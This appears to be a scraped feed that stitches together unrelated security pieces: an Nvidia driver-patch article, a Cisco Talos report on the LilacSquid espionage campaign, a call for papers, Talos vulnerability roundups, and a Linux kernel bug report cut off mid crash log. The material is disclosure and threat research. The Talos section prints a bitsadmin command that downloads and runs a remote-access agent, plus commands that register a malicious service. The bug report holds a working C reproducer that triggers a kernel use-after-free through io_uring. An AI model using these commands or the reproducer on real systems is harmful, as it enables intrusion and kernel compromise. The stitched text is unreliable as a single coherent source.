Nvidia's latest GPUs are a hot commodity for AI, but security vulnerabilities could expose them to attacks from hackers.

Source: Vasyl Yakobchuk via Alamy Stock Photo

Nvidia has issued 10 security alerts detailing vulnerabilities in the company's GPU drivers and virtualization software. The vulnerabilities, if successfully exploited, could allow attackers to steal or tamper with data, execute arbitrary code, or take control of programs, the company said. Considering Nvidia's growing prominence in artificial intelligence (AI) data centers, these attacks could cause significant damage.

Nvidia issued security patches addressing vulnerabilities in Nvidia's display drivers, which power GPU visuals on computers. The company also patched the drivers and software for the vGPU virtualization software stack, which is used in data centers and cloud services to serve up virtual desktops and applications. Five security vulnerabilities had "high" severity ratings, with the remaining rated "medium."

Nvidia urged companies to patch drivers for Linux and Windows PCs and servers affected by the vulnerabilities.

"Applying Nvidia's patches is crucial to prevent exploits, protect sensitive information, maintain system integrity, and ensure service availability," said Callie Guenther, senior manager, cyber threat research, at Critical Start, in a prepared research note.

**Impact on AI**

Nvidia's latest GPUs are increasingly being used to power AI workloads and data centers. The popularity of Nvidia's chips in AI make them an attractive target for hackers, says Kevin Krewell, a chip analyst at Tirias Research. AI data and models — especially the ones that are not open-sourced — are valuable and could be a target of GPU hacks, he says.

"With Nvidia chips going into more data centers and the rush to deploy new AI stacks, there's a new opportunity for vulnerabilities to be introduced," Krewell says.

Nvidia's 7-year-old Tesla GPUs, which are used in the Summit supercomputer (the ninth fastest supercomputer in the world), are among the affected products. Google also offers Tesla-based T4 instances to researchers developing AI applications for free via Google Colab. System administrators should pay close attention to patching these older GPUs, which are often ignored and are easy targets for hackers to break into server installations.

"Unpatched systems are definitely the easier way to break in. The issue is whether the Tesla chips have an inherent security vulnerability," Krewell says.

Adds John Bambanek, president at security consulting firm Bambenek Consulting: "Hardware always lives longer than manufacturers want it to, and the older you get, the more likely the operating system doesn’t centralize the patch management on them."

**Chips Need Timely Patches**

Chip makers have to be proactive in patching hardware and software vulnerabilities. Last month researchers published a paper demonstrating theft of data left by inactive processes on field-programmable gate arrays (FPGAs). FPGAs are used for applications that include machine learning in servers, PCs, Internet of Things, and telecom edge devices.

Nvidia had a 98% data-center GPU market share in 2023, according to research firm TechInsights. AMD plans to issue an updated driver to take care of data leakage issues in its MI300A and MI300X GPUs, which compete with Nvidia GPUs. Intel also patched a vulnerability in its AI software stack last month.

"AMD and Intel often produce regular reports on vulnerabilities that have been discovered, which can often be corrected by BIOS patches," Krewell says. "Tesla GPUs could be patched with new drivers."

**About the Author(s)**

Agam Shah has covered enterprise IT for more than a decade. Outside of machine learning, hardware, and chips, he's also interested in martial arts and Russia.

Nvidia Patches High-Severity Flaws in GPU Drivers

Multiple TTPs utilized in this campaign bear some overlap with North Korean APT groups.

Thursday, May 30, 2024 08:01

_By Anna Bennett, Nicole Hoffman, Asheer Malhotra, Sean Taylor and Brandon White._ 

*   Cisco Talos is disclosing a new suspected data theft campaign, active since at least 2021, we attribute to an advanced persistent threat actor (APT) we’re calling “LilacSquid.”  
*   LilacSquid’s victimology includes a diverse set of victims consisting of information technology organizations building software for the research and industrial sectors in the United States, organizations in the energy sector in Europe and the pharmaceutical sector in Asia indicating that the threat actor (TA) may be agnostic of industry verticals and trying to steal data from a variety of sources.  
*   This campaign uses MeshAgent, an open-source remote management tool, and a customized version of QuasarRAT we’re calling “PurpleInk” to serve as the primary implants after successfully compromising vulnerable application servers exposed to the internet.  
*   This campaign leverages vulnerabilities in public-facing application servers and compromised remote desktop protocol (RDP) credentials to orchestrate the deployment of a variety of open-source tools, such as MeshAgent and SSF, alongside customized malware, such as "PurpleInk," and two malware loaders we are calling "InkBox" and "InkLoader.”  
*   The campaign is geared toward establishing long-term access to compromised victim organizations to enable LilacSquid to siphon data of interest to attacker-controlled servers. 

**LilacSquid – An espionage-motivated threat actor **

Talos assesses with high confidence that this campaign has been active since at least 2021 and the successful compromise and post-compromise activities are geared toward establishing long-term access for data theft by an advanced persistent threat (APT) actor we are tracking as "LilacSquid" and UAT-4820. Talos has observed at least three successful compromises spanning entities in Asia, Europe and the United States consisting of industry verticals such as pharmaceuticals, oil and gas, and technology. 

Previous intrusions into software manufacturers, such as the 3CX and X\_Trader compromises by Lazarus, indicate that unauthorized long-term access to organizations that manufacture and distribute popular software for enterprise and industrial organizations can open avenues of supply chain compromise proving advantageous to threat actors such as LilacSquid, allowing them to widen their net of targets.  

We have observed two different types of initial access techniques deployed by LilacSquid, including exploiting vulnerabilities and the use of compromised remote desktop protocol (RDP) credentials. Post-exploitation activity in this campaign consists of the deployment of MeshAgent, an open-source remote management and desktop session application, and a heavily customized version of QuasarRAT that we track as “PurpleInk” allowing LilacSquid to gain complete control over the infected systems. Additional means of persistence used by LilacSquid include the use of open-source tools such as Secure Socket Funneling (SSF), which is a tool for proxying and tunneling multiple sockets through a single secure TLS tunnel to a remote computer. 

It is worth noting that multiple tactics, techniques, tools and procedures (TTPs) utilized in this campaign bear some overlap with North Korean APT groups, such as Andariel and its parent umbrella group, Lazarus. Public reporting has noted Andariel’s use of MeshAgent as a tool for maintaining post-compromise access after successful exploitation. Furthermore, Talos has observed Lazarus extensively use SOCKs proxy and tunneling tools, along with custom-made malware as part of their post-compromise playbooks to act as channels of secondary access and exfiltration. This tactic has also been seen in this campaign operated by LilacSquid where the threat actor deployed SSF along with other malware to create tunnels to their remote servers. 

**LilacSquid’s infection chains **

There are primarily two types of infection chains that LilacSquid uses in this campaign. The first involves the successful exploitation of a vulnerable web application, while the other is the use of compromised RDP credentials. Successful compromise of a system leads to LilacSquid deploying multiple vehicles of access onto compromised hosts, including dual-use tools such as MeshAgent, Secure Socket Funneling (SSF), InkLoader and PurpleInk. 

Successful exploitation of the vulnerable application results in the attackers deploying a script that will set up working directories for the malware and then download and execute MeshAgent from a remote server. On execution, MeshAgent will connect to its C2, carry out preliminary reconnaissance and begin downloading and activating other implants on the system, such as SSF and PurpleInk. 

MeshAgent is typically downloaded by the attackers using the bitsadmin utility and then executed to establish contact with the C2: 

bitsadmin /transfer -job\_name- /download /priority normal -remote\_URL- -local\_path\_for\_MeshAgent-  -local\_path\_for\_MeshAgent- connect 

**Instrumenting InkLoader – Modularizing the infection chain **

When compromised RDP credentials were used to gain access, the infection chain was altered slightly. LilacSquid chose to either deploy MeshAgent and subsequent implants, or introduce another component in the infection preceding PurpleInk.  

InkLoader is a simple, yet effective DOT NET-based malware loader. It is written to run a hardcoded executable or command. In this infection chain, InkLoader is the component that persists across reboots on the infected host instead of the actual malware it runs. So far, we have only seen PurpleInk being executed via InkLoader, but LilacSquid may likely use InkLoader to deploy additional malware implants. 

Talos observed LilacSquid deploy InkLoader in conjunction with PurpleInk only when they could successfully create and maintain remote sessions via remote desktop (RDP) by exploiting the use of stolen credentials to the target host. A successful login via RDP leads to the download of InkLoader and PurpleInk, copying these artifacts into desired directories on disk and the subsequent registration of InkLoader as a service that is then started to deploy InkLoader and, in turn, PurpleInk. The infection chain can be visualized as: 

Service creation and execution on the endpoint is typically done via the command line interface using the commands: 

sc create TransactExDetect displayname=Extended Transaction Detection binPath= \_filepath\_of\_InkLoader\_ start= auto 
sc description TransactExDetect Extended Transaction Detection for Active Directory domain hosts 
sc start TransactExDetect 

**PurpleInk – LilacSquid's bespoke implant **

PurpleInk, LilacSquid’s primary implant of choice, has been adapted from QuasarRAT, a popular remote access trojan family. Although QuasarRAT has been available to threat actors since at least 2014, we observed PurpleInk being actively developed starting in 2021 and continuing to evolve its functionalities separate from its parent malware family.  

PurpleInk uses an accompanying configuration file to obtain information such as the C2 server’s address and port. This file is typically base64-decoded and decrypted to obtain the configuration strings required by PurpleInk. 

PurpleInk is a highly versatile implant that is heavily obfuscated and contains a variety of RAT capabilities. Talos has observed multiple variants of PurpleInk where functionalities have both been introduced and removed. 

In terms of RAT capabilities, PurpleInk can perform the following actions on the infected host: 

*   Enumerate the process and send the process ID, name and associated Window Title to the C2. 
*   Terminate a process ID (PID) specified by the C2 on the infected host. 
*   Run a new application on the host – start process. 
*   Get drive information for the infected host, such as volume labels, root directory names, drive type and drive format. 
*   Enumerate a given directory to obtain underlying directory names, file names and file sizes. 
*   Read a file specified by the C2 and exfiltrate its contents. 
*   Replace or append content to a specified file. 

*   Gather system information about the infected host using WMI queries. Information includes:  

Information retrieved 

WMI query and output used 

Processor name 

SELECT \* FROM Win32\_Processor 

Memory (RAM) size in MB 

Select \* From Win32\_ComputerSystem | TotalPhysicalMemory 

Video Card (GPU) 

SELECT \* FROM Win32\_DisplayConfiguration | Description 

Username 

Current username 

Computer name 

Infected host’s name 

Domain name 

Domain of the infected host 

Host name 

NetBIOS Host name 

System drive 

Root system drive 

System directory 

System directory of the infected host 

Computer uptime 

Calculate uptime from current time and SELECT \* FROM Win32\_OperatingSystem WHERE Primary='true' | LastBootUpTime 

MAC address 

By enumerating Network interfaces on the endpoint 

LAN IP address 

By enumerating Network interfaces on the endpoint 

WAN IP address 

None – not retrieved or calculated – empty string sent to C2. 

Antivirus software name 

Not calculated – defaults to “NoInfo” 

Firewall 

Not calculated – defaults to “NoInfo” 

Time zone 

Not calculated – an empty string is sent to the C2. 

Country 

Not calculated – an empty string is sent to the C2. 

ISP 

Not calculated – an empty string is sent to the C2. 

*   Start a remote shell on the infected host using ‘ cmd\[.\]exe /K ’. 
*   Rename or move directories and files and then enumerate them. 
*   Delete files and directories specified by the C2. 
*   Connect to a specified remote address, specified by the C2. This remote address referenced as “Friend” internally is the reverse proxy host indicating that PurpleInk can act as an intermediate proxy tool. 

PurpleInk has the following capabilities related to communicating with its “friends” (proxy servers): 

*   Connect to a _new_ friend whose remote address is specified by the C2. 
*   Send data to a new or existing friend. 
*   Disconnect from a specified friend. 
*   Receive data from another connected friend and process it. 

Another PurpleInk variant, built and deployed in 2023 and 2024, consists of limited functionalities, with much of its capabilities stripped out. The capabilities that still reside in this variant are the abilities to: 

*   Close all connections to proxy servers. 
*   Create a reverse shell.  
*   Connect and send/receive data from connected proxies. 

Functionalities, such as file management, execution and gathering system information, have been stripped out of this variant of PurpleInk, but can be supplemented by the reverse shell carried over from previous variants, which can be used to carry out these tasks on the infected endpoint. Adversaries frequently strip, add and stitch together functionalities to reduce their implant’s footprint on the infected system to avoid detection or to improve their implementations to remove redundant capabilities.  

**InkBox – Custom loader observed in older attacks **

InkBox is a malware loader that will read from a hardcoded file path on disk and decrypt its contents. The decrypted content is another executable assembly that is then run by invoking its Entry Point within the InkBox process. This second assembly is the backdoor PurpleInk. The overall infection chain in this case is: 

The usage of InkBox to deploy PurpleInk is an older technique used by LilacSquid since 2021. Since 2023, the threat actor has produced another variant of the infection chain where they have modularized the infection chain so that PurpleInk can now run as a separate process. However, even in this new infection chain, PurpleInk is still run via another component that we call "InkLoader.”  

**LilacSquid employs MeshAgent **

In this campaign, LilacSquid has extensively used MeshAgent as the first stage of their post-compromise activity. MeshAgent is the agent/client from the MeshCentral, an open-source remote device management software. The MeshAgent binaries typically use a configuration file, known as an MSH file. The MSH files in this campaign contain information such as MeshName (victim identifier in this case) and C2 addresses: 

MeshName=-Name\_of\_mesh- 
MeshType=-Type\_of\_mesh- 
MeshID=0x-Mesh\_ID\_hex- 
ServerID=-Server\_ID\_hex- 
MeshServer=wss://-Mesh\_C2\_Address-
Translation=-keywords\_translation\_JSON-

Being a remote device management utility, MeshAgent allows an operator to control almost all aspects of the device via the MeshCentral server, providing capabilities such as: 

*   List all devices in the Mesh (list of victims). 
*   View and control desktop. 
*   Manage files on the system. 
*   View software and hardware information about the device.  

Post-exploitation, MeshAgent activates other dual-use and malicious tools on the infected systems, such as SSF and PurpleInk.  

**Coverage **

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.   

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.  

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.  

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.  

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

Additional protection with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

**IOCs**

IOCs for this research can also be found at our GitHub repository here. 

**PurpleInk **

2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 

**Network IOCs **

67\[.\]213\[.\]221\[.\]6 

192\[.\]145\[.\]127\[.\]190 

45\[.\]9\[.\]251\[.\]14 

199\[.\]229\[.\]250\[.\]142

LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

The 13th International Workshop on Cyber Crime, or IWCC, 2024 call for papers has been announced. It will take place July 30th through August 2nd, 2024 in Vienna, Austria.

    [APOLOGIES FOR CROSS-POSTING]CALL FOR PAPERS13th International Workshop on Cyber Crime (IWCC 2024 -https://www.ares-conference.eu/iwcc/)to be held in conjunction with the 19th International Conference onAvailability, Reliability and Security (ARES 2024 -http://www.ares-conference.eu) July 30 - August 02, 2024, Vienna, AustriaIMPORTANT DATESSubmission Deadline  May 12, 2024Author Notification  May 29, 2024Proceedings Version  June 18, 2024Conference    July 30 - August 02, 2024WORKSHOP DESCRIPTIONThe societies of today's world are becoming increasingly dependent on onlineservices, where commercial activities, business transactions, governmentservices and biomedical diagnostics are realized. This tendency has beenevident during the recent COVID-19 pandemic. These developments, along withthe growing number of military conflicts worldwide (Ukraine, Israel, etc.),have led to the fast development of new cyber threats and numerousinformation security issues that are exploited by cybercriminals. Theinability to provide trusted, secure services in contemporary computernetwork technologies has a tremendous socio-economic impact on globalenterprises as well as individuals.Moreover, the frequently occurring international frauds impose the necessityto conduct investigations spanning multiple domains and countries. Suchexamination is often subject to different jurisdictions and legal systems. Agood illustration of the above is the Internet, which has made it easier toprepare and perpetrate traditional - but now cyber-enabled - crimes. It hasacted as an alternate avenue for criminals to conduct their activities andlaunch attacks with relative anonymity, a high degree of deniability, andthe opportunity to operate in a border-agnostic environment. Worryingdevelopments in the abuse of artificial intelligence and machine learningtechnologies lead to the increased capabilities of malign actors wholeverage these tools to design and propagate disinformation, which isespecially dangerous (and effective) during emergencies and crises of allkinds. The developments in Generative Artificial Intelligence have alsoenabled the increase of criminal capabilities in the production,dissemination, and weaponization of high-quality, convincing fake contact(text, audio, images, and videos), which translates not only to the truthand trust decay among the affected societies but also to the enhancedcapabilities in orchestrating the sophisticated cyber crimes. Furthermore, nowadays, the majority of life-science-based techniques andresulting data hinge on information technologies. Despite their considerableadvantages, dependence on cyber technologies also exposes vulnerabilities.Various threats in the digital realm could target biomedical systems,leading to adverse consequences. The field of CyberBioSecurity wasestablished to assist bio-related sciences in comprehending potential cyberthreats and formulating defense approaches, recovery protocols, andresilience strategies. The increased complexity of communications and thenetworking infrastructure is making the investigation of these new types ofcrimes difficult. Traces of illegal digital activities are difficult toanalyze due to large volumes of data. Nowadays, the digital crime scenefunctions like any other network, with dedicated administrators functioningas the first responders. This poses new challenges for law enforcement and intelligence communitiesand forces computer societies to utilize digital forensics to combat theincreasing number of cybercrimes. Forensic professionals must be fullyprepared to be able to provide court-admissible evidence. To make thesegoals achievable, forensic techniques should keep pace with newtechnologies. Prevention, mitigation, and interdiction of new and emergingthreats necessitates an increasingly thorough and multidisciplinaryapproaches, but also requires the collaboration of all relevant actors andstakeholders in designing the technology regulation and cyber governancemeasures.The aim of this workshop is to bring together the research outcomes providedby researchers from academia and the industry. The other goal is to show thelatest research results in digital forensics and cyberbiosecurity amongstothers. We strongly encourage prospective authors to submit articlespresenting both theoretical approaches and practical case reviews, includingwork-in-progress reports.TOPICS OF INTEREST INCLUDE, BUT ARE NOT LIMITED TO:- Big Data analytics helping to track cybercrimes- Protecting Big Data against cybercrimes- Crime-as-a-service- Criminal abuse of clouds and social networks- Criminal to criminal (C2C) communications- Criminal to victim (C2V) communications- Criminal use of IoT, e.g., IoT-based botnets- Cyberbiosecurity- Cybercrime-related investigations- Cybercrimes: evolution, new trends and detection- Darknets and hidden services- Fake (incl. deepfake) and disinformation detection- Generative Artificial Intelligence and cyber crime- AI-enabled crime and terrorism- Mobile malware- Network anomaly detection- Network traffic analysis, traceback and attribution- Incident response, investigation and evidence handling- Internet governance- Novel techniques in exploit kits- Political and business issues related to digital forensics andanti-forensic - techniques- Anti-forensic techniques and methods- Identification, authentication and collection of digital evidence- Integrity of digital evidence and live investigations- Privacy issues in digital forensics- Ransomware: evolution, functioning, types, etc.- Steganography/steganalysis and covert/subliminal channels- Technology regulation- Novel applications of information hiding in networks- Watermarking and intellectual property theft- Weaponization of information - cyber-enhanced disinformation campaignsWORKSHOP CHAIRSArtur Janicki, Warsaw University of Technology, Poland; Kacper Gradoñ, Warsaw University of Technology, Poland;Katarzyna Kamiñska, Warsaw University of Technology, PolandSUBMISSION GUIDELINESThe submission guidelines valid for the workshop are the same as for theARES conference. They can be found athttps://www.ares-conference.eu/authors-area.

IWCC 2024 Call For Papers

Public clouds provide geo resilience in addition to being cost-effective when compared to on-premise deployments. Regulated industries such as the Financial Services Industry (FSI) traditionally have been unable to take advantage of public clouds since FSI is highly regulated from a security and resiliency standpoint.Confidential computing (CC) and specifically confidential containers (CoCo) in the cloud provide data protection and integrity capabilities, facilitating the migration of financial workloads to the cloud.In this blog we will look at the Financial Services Industry and how it can d

Confidential Containers for Financial Services on Public Cloud

Other potential code execution vulnerabilities are also present in Weston Embedded µC/HTTP-server, a web server component in Weston Embedded's in-house operating system and an open-source library that processes several types of potentially sensitive medical tests.

Wednesday, February 28, 2024 12:00

Cisco Talos has disclosed more than 30 vulnerabilities in February, including seven in Adobe Acrobat Reader, one of the most popular PDF editing and reading software currently available. 

Adversaries could exploit these vulnerabilities to trigger the reuse of a previously freed object, thus causing memory corruption and potentially arbitrary code execution on the targeted machine.  

Other potential code execution vulnerabilities are also present in Weston Embedded µC/HTTP-server, a web server component in Weston Embedded's in-house operating system and an open-source library that processes several types of potentially sensitive medical tests.  

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

**Multiple vulnerabilities in Adobe Acrobat Reader **

_Discovered by KPC of Cisco Talos._ 

Adobe Acrobat Reader contains multiple vulnerabilities that could lead to remote code execution if exploited correctly. Acrobat is known for being one of the most popular PDF readers available and allows users to fill out, edit and share PDFs. 

TALOS-2023-1905 (CVE-2024-20735), TALOS-2023-1908 (CVE-2024-20747) and TALOS-2023-1910 (CVE-2024-20749) are all out-of-bounds read vulnerabilities that could lead to memory corruption, and eventually arbitrary code execution. TALOS-2023-1909 (CVE-2024-20748) also can lead to an out-of-bounds read, but in this case, could lead to the disclosure of sensitive information about the processes running in the software that could aid an adversary in the exploitation of other vulnerabilities or to bypass detection. 

TALOS-2023-1901 (CVE-2024-20731), TALOS-2023-1890 (CVE-2024-20729) and TALOS-2023-1906 (CVE-2024-20730) can also lead to arbitrary code execution, but in this case, the vulnerability is caused by a buffer overflow.  

An adversary can exploit all the aforementioned vulnerabilities by tricking the targeted user into opening a specially crafted PDF file. Usually, these come in the form of attachments or download links on phishing emails or other social engineering tactics. 

**Open-source library used in medical tests vulnerable to code execution **

_Discovered by Lilith >\_>._ 

Talos researchers discovered multiple arbitrary code execution vulnerabilities in Libbiosig, an open-source library that processes various types of medical signal data, such as for tracking patient’s respiration levels, or measuring an electrocardiogram (ECG). The library produces the information in a way that is useable in different file formats.  

An attacker could provide a specially crafted, malicious file to exploit TALOS-2024-1918 (CVE-2024-23305), TALOS-2024-1921 (CVE-2024-21812), TALOS-2024-1922 (CVE-2024-23313) and TALOS-2024-1925 (CVE-2024-23606), which causes an out-of-bounds write. An attacker could then leverage that to execute arbitrary code on the targeted device.  

TALOS-2024-1920 (CVE-2024-21795) and TALOS-2024-1923 (CVE-2024-23310) work in the same way, but in this case, cause a heap-based buffer overflow and use-after-free condition, respectively. 

Two other vulnerabilities, TALOS-2024-1917 (CVE-2024-22097) and TALOS-2024-1919 (CVE-2024-23809), are double-free vulnerabilities that can also lead to arbitrary code execution.  

All the vulnerabilities Talos found in Libbiosig are considered critical, with a CVSS score of 9.8 out of 10. 

**Use-after-free vulnerability in Imaging Data Commons libdicom **

_Discovered by Dimitrios Tatsis._ 

A use-after-free vulnerability (TALOS-2024-1931/CVE CVE-2024-24793, CVE-2024-24794) exists in Imaging Data Commons libdicom, causing the premature freeing of memory that is used later.  

Libdicom is a C library and a set of command-line tools for reading DICOM WSI files, commonly used in the medical field to store and transmit files. It’s commonly used in doctor’s offices, health systems and hospitals.  

An adversary could exploit this vulnerability by forcing the targeted application to process a malicious DICOM image, potentially allowing them to later cause memory corruption on the application and possibly arbitrary code execution.  

**Arbitrary code execution, denial-of-service vulnerabilities in Weston Embedded server **

_Discovered by Kelly Patterson._ 

A critical heap-based buffer overflow vulnerability in the Weston Embedded uC-HTTP server could lead to arbitrary code execution. TALOS-2023-1843 (CVE-2023-45318) exists in the web server component of Weston’s uCOS real-time operating system.  

The overflow occurs when parsing the protocol version of an HTTP request if the adversary sends a malicious packet to the targeted machine. TALOS-2023-1843 has a maximum severity score of 10.  

The server also contains two other vulnerabilities — TALOS-2023-1828 (CVE-2023-39540, CVE-2023-39541) and TALOS-2023-1829 (CVE-2023-38562). 

TALOS-2023-1828 is a double-free vulnerability, which could also lead to code execution, while TALOS-2023-1829 could allow an adversary to cause a denial of service on the targeted device. 

**5 heap-based buffer overflow vulnerabilities in implementation of LLaMA **

_Discovered by Francesco Benvenuto._ 

Talos discovered multiple heap-based buffer overflows in llama.cpp that could lead to code execution on the targeted machine.  

LLaMA.cpp is a project written in C/C++ that provides inference for Large Language Models (LLMs). It supports a wide variety of hardware and platforms. Besides inference, it can also be used for quantizing models and provides Python bindings for simpler integration with more complex projects. For example, it can be used to create an AI assistant like ChatGPT. LLaMA.cpp also supports GGUF, a file format for storing LLMs that focuses on extensibility and compatibility. 

LLaMA.cpp’s GitHub page says its goal is to provide users with an “LLM inference with minimal setup and state-of-the-art performance on a wide variety of hardware — locally and in the cloud.” 

An adversary could exploit the following vulnerabilities if they provide a specially crafted .gguf file, the file type commonly used to store language models for inference: TALOS-2024-1912 (CVE-2024-21825), TALOS-2024-1913 (CVE-2024-23496), TALOS-2024-1914 (CVE-2024-21802), TALOS-2024-1915 (CVE-2024-21836) and TALOS-2024-1916 (CVE-2024-23605).

Multiple vulnerabilities in Adobe Acrobat Reader could lead to remote code execution

Talos has observed a phishing spam campaign targeting potential victims in Mexico, luring users to download a new obfuscated information stealer we’re calling TimbreStealer, which has been active since at least November 2023.

TimbreStealer campaign targets Mexican users with financial lures

Linux versions 5.6 and above appear to suffer from a cred refcount overflow when handling approximately 39 gigabytes of memory usage via io_uring.

    Linux >=5.6: cred refcount overflow at ~39 GiB memory usage via io_uring(see also my related prior bug reports about overflowing refcounts with lotsof RAM usage:https://crbug.com/project-zero/809: BPF program refcount, with ~32GiB RAMhttps://crbug.com/project-zero/1752: page->refcount via FUSE with ~140GiB RAM)Since commit 071698e13ac6 (\"io_uring: allow registering credentials\"), landedin 5.6, it has been possible to grab references to `struct cred` veryefficiently - by repeatedly calling the syscall`io_uring_register(fd, IORING_REGISTER_PERSONALITY, NULL, 0)`, it is possibleto register up to 0xffff refcounted pointers to `struct cred` in an xarray(or in older kernel versions, in an IDR). These pointers can all be pointingto the same `struct cred`.By using a bunch of io_uring instances, that makes it possible to create alot of refcounted references to `struct cred` at a very efficient and lowamortized memory cost of less than 10 bytes per reference.`struct cred` is refcounted using the member `atomic_t usage`, which is aplain signed 32-bit atomic counter with no overflow checking.I believe there is some history here where Elena Reshetova and Kees Cook havebeen trying to turn it into a `refcount_t`, which would also fix this kind ofissue by marking the refcount as \"saturated\" when it reaches 2^31 and thennever freeing the object. Most recently there was this thread, where Keestried to get that change in; there was some discussion, but I don't thinkanything has landed so far:<https://lore.kernel.org/all/20230818041740.gonna.513-kees@kernel.org/>So by using ~39 GiB of physical memory, it is possible to store 2^32references to `struct cred` and overflow the reference counter. That's notexactly a small amount of RAM, but I guess a lot of servers probably have thatmuch RAM? At least cloud providers like AWS sell machines with much more RAMthan that.I am including as recipients both akpm (who is the maintainer forkernel/cred.c and was involved in the linked discussion) and the io_uringmaintainers (though io_uring, in my opinion, isn't really where the core issuehere lies, but it happened to make it possible to hit this overflow using afairly small amount of physical memory).Reproducer (compile with -pthread; requires ~39GiB of physical RAM, I tested itin a VM so that the host machine could swap a bit):============#define _GNU_SOURCE#include <pthread.h>#include <unistd.h>#include <err.h>#include <fcntl.h>#include <string.h>#include <stdio.h>#include <stdlib.h>#include <ctype.h>#include <signal.h>#include <sys/syscall.h>#include <sys/wait.h>#include <sys/prctl.h>#include <sys/mman.h>#include <sys/resource.h>#include <sys/eventfd.h>#include <linux/io_uring.h>#define SYSCHK(x) ({          \\  typeof(x) __res = (x);      \\  if (__res == (typeof(x))-1) \\    err(1, \"SYSCHK(\" #x \")\"); \\  __res;                      \\})// power of 2#define PARALLELISM 4static int efd;static void *thread_fn(void *dummy) {  for (long refcount = 0; refcount < (1UL<<32)/PARALLELISM;) {    struct io_uring_params params = {      .flags = IORING_SETUP_NO_SQARRAY    };    int uring_fd = SYSCHK(syscall(__NR_io_uring_setup, /*entries=*/40, &params));    printf(\"uring_fd = 0x%x\\", (unsigned int)uring_fd);    for (int i=0; i<0xffff; i++, refcount++)      SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, NULL, 0));  }  printf(\"one thread ready\\");  eventfd_write(efd, 1);  while (1) pause();}int main(void) {  setbuf(stdout, NULL);  sync();  struct rlimit rlim;  SYSCHK(getrlimit(RLIMIT_NOFILE, &rlim));  if (rlim.rlim_max < 65550)    printf(\"WARNING: RLIMIT_NOFILE maximum is probably too low\\");  rlim.rlim_cur = rlim.rlim_max;  SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));  efd = SYSCHK(eventfd(0, 0));  pthread_t threads[PARALLELISM];  for (int i = 0; i < PARALLELISM; i++) {    if (pthread_create(threads+i, NULL, thread_fn, NULL))      errx(1, \"pthread_create\");  }  for (int i=0; i<4;) {    eventfd_t val;    SYSCHK(eventfd_read(efd, &val));    i += val;  }  printf(\"refs should have wrapped. press ctrl+c for uaf on cleanup.\\");  while (1)    pause();}============The reproducer takes a while to run; when it's done and the cred refcount hasbeen wrapped, you can press ctrl+c to make the process exit, which willrepeatedly decrement the cred refcount until the cred refcount reaches zero(when there are actually 2^32 references remaining).At that point, it'll hit the `BUG_ON(cred == current->cred)` check in`__put_cred()`, since the reproducer doesn't go out of its way to avoid thischeck:============kernel BUG at kernel/cred.c:150!invalid opcode: 0000 [#1] PREEMPT SMPCPU: 2 PID: 580 Comm: uring-credref Not tainted 6.7.0-rc3 #362Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014RIP: 0010:__put_cred+0x55/0x60Code: 87 a0 00 00 00 85 c0 74 0c 48 81 c7 a0 00 00 00 e9 b0 fe ff ff 48 81 c7 a0 00 00 00 48 c7 c6 40 39 0d b0 e9 9d 53 07 00 0f 0b <0f> 0b 0f 0b 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90RSP: 0018:ffffb2e382b5bcf0 EFLAGS: 00010246RAX: ffff8c4e21c6c080 RBX: ffff8c52fce02000 RCX: ffffb2e382b5bc94RDX: 0000000000000001 RSI: ffff8c52fce025c0 RDI: ffff8c4e1f2c2480RBP: ffff8c52fce025a8 R08: ffffb2e382b5bc98 R09: 0000000000000007R10: 0000000000000001 R11: 0000000000000001 R12: ffff8c52fce02040R13: ffff8c4e072fc520 R14: ffff8c576139c9c0 R15: ffff8c4e21c6c938FS:  0000000000000000(0000) GS:ffff8c598dd00000(0000) knlGS:0000000000000000CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033CR2: 000055a8bdfd1d70 CR3: 0000000411e47001 CR4: 0000000000770ef0PKRU: 55555554Call Trace: <TASK> [...] io_ring_ctx_wait_and_kill+0xa8/0x180 io_uring_release+0x20/0x30 __fput+0x92/0x2c0 task_work_run+0x5a/0x90 do_exit+0x36c/0xbc0 do_group_exit+0x37/0xa0 get_signal+0xbcf/0xbd0 arch_do_signal_or_restart+0x3e/0x270 exit_to_user_mode_prepare+0xba/0x110 syscall_exit_to_user_mode+0x21/0x50 do_syscall_64+0x52/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76RIP: 0033:0x7ff41d547d92Code: Unable to access opcode bytes at 0x7ff41d547d68.RSP: 002b:00007ff41d370e30 EFLAGS: 00000293 ORIG_RAX: 0000000000000022RAX: fffffffffffffdfe RBX: 000000004000bfff RCX: 00007ff41d547d92RDX: 0000000000000008 RSI: 00007ff41d370e38 RDI: 0000000000000000RBP: 000000000000ffc1 R08: 0000000000000000 R09: 0000008000000040R10: 0000000000000000 R11: 0000000000000293 R12: 000000004000bfffR13: 00007ff41d370e50 R14: 00007ff41d370e50 R15: 0000000000000000 </TASK>Modules linked in:---[ end trace 0000000000000000 ]---RIP: 0010:__put_cred+0x55/0x60Code: 87 a0 00 00 00 85 c0 74 0c 48 81 c7 a0 00 00 00 e9 b0 fe ff ff 48 81 c7 